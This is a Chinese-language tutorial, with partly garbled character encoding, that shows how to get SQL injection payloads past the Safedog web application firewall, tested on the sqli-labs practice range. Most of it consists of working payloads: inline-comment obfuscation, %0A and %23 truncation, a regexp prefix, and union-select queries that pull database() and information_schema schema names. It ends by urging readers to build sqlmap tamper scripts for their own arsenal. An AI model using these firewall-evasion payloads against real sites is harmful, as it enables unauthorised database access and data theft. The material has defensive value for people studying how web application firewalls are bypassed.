SQL注入繞過某Dog
一、環(huán)境搭建
下載最新版的安全狗

安裝后配置好環(huán)境(將防護等級修改為高級)

注:此次使用的為sqli-lab靶場,懶得自己寫環(huán)境了。
二、嘗試繞過
使用普通的注入語句嘗試,被攔截,此時不要慌,想繞狗呢,就必須知道那個關(guān)鍵字被識別了,想辦法使用相同的參數(shù)去代替。

語句很短,盲猜是 and 被識別了,刪掉之后頁面正常。
先來看這句注入 ??id=1' and 1=1--+ ?可以理解為 and 前后的條件達成一致不會報錯,所以這里的 and 可以替換為 or 、 xor 、&& 、|| 等等,1=1 、1=2 這種判斷條件可以改為 false、true等等,思路捋清晰,開始測試。

測試結(jié)果 ?id=1' || true--+ 成功繞過,說明此處的條件判斷將 and 改為 ||可以繞過。

此時換個思路,嘗試步修改 and 使用內(nèi)聯(lián)注釋嘗試繞過
內(nèi)聯(lián)注釋是MySQL為了保持與其他數(shù)據(jù)兼容,將MySQL中特有的語句放在/!.../中,這些語句在不兼容的數(shù)據(jù)庫中不執(zhí)行,而在MySQL自身卻能識別,執(zhí)行。/*!50001*/ 在數(shù)據(jù)庫版本大于5.00.00時中間的語句會被執(zhí)行,此處的50001表示假如。
?id=1'/*!11444and*/ '1'='3'--+

?id=1'/*!11444or*/ '1'='3'--+

?id=1' and /*!500001*/=/*!500002*/--+

下面一步時猜字段,使用order by 、group by等,安全狗一直會識別 order by ,但不會識別 group by。


后邊是聯(lián)合查詢,union select 等效替換,內(nèi)聯(lián)注釋的添加,還可以使用特殊字符替換空格來嘗試繞過(在20年12月份還寫過一版,當時的 union 中間穿插 /*%!a*/ 還可以繞過)

嘗試內(nèi)聯(lián)注釋和 %0a 截斷都會被攔截,應(yīng)該是匹配到了內(nèi)聯(lián)注釋直接攔截。

嘗試在參數(shù)后插入其他語句后執(zhí)行后,添加注釋,再使用截斷;這里直接使用#語句報錯,將雙引號給直接注釋掉了,將 # 替換為 %23回顯正常。
?id=1' regexp "%0A%23" /*!11144union %0A select */1,2,3--+

安全狗早就把 database() 加入規(guī)則中了,去年測試時使用垃圾字符和內(nèi)聯(lián)注釋可以繞過,現(xiàn)在也不行了。


測試將括號刪一個,然后報錯但是沒有被攔截,可以在括號內(nèi)進行操作,添加內(nèi)聯(lián)注釋或者截斷。

添加單個截斷會被攔,又加了內(nèi)聯(lián)注釋,成功繞過。
?id=-1' regexp "%0A%23"/*!50001union %0A select*/ 1,2,database(%0A /*!11144*/)--+
三、小總結(jié)
這里就可以總結(jié)一下繞過的姿勢了,關(guān)鍵字體換姿勢比較少,比較多的還是使用截斷和內(nèi)聯(lián)注釋。
判斷是否存在注入時,and 、or、xor 等可以替換為 || false、||true、and /*!500001*/=/*!500001*/、/*!11444or*/ '1'='3' 進行繞過判斷;使用聯(lián)合注入時現(xiàn)在的某狗會將整個字符連同內(nèi)聯(lián)注釋攔截,在 union 前添加一些其他函數(shù)進行混淆:regexp "%0a%23" /*!50001union %0a select*/1,2,3 (內(nèi)聯(lián)注釋中的數(shù)字是作為判斷,是否大于5.00.01,如果當前數(shù)據(jù)庫版本小于5.00.01則語句被注釋掉)這里的50001有時候會被攔截,可以替換成其他的五位的數(shù)字,這里就不做測試了;數(shù)據(jù)查詢中的關(guān)鍵字被攔截時可以嘗試在括號中做插入換行、截斷、內(nèi)聯(lián)注釋等等。
注表和字段大差不差的都相似,就是需要檢查那個關(guān)鍵字被識別,對關(guān)鍵字進行修改,括號包裹、內(nèi)聯(lián)注釋、換行截斷等等都可以試一試。
regexp "%0A%23"/*!11441union %0A select*/ 1,(select %0A (schema_name %0A /*80000aaa*/) %0A from %0A /*!11444 /*REGEXP "[…%0A%23]"*/ %0A information_schema.schemata*/ limit 0),3--+
regexp "%0A%23"/*!11441union %0A select*/ 1,(select %0A group_concat(schema_name %0A /*11444*/) %0A from %0A /*!11444 /*REGEXP "[…%0A%23]"*/ %0A information_schema.schemata*/),3--+
自己找到規(guī)律之后可以嘗試修改sqlmap的腳本,sqlmap本身自帶繞過安全設(shè)備的腳本,自己可以添加幾個來豐富自己的武器庫。

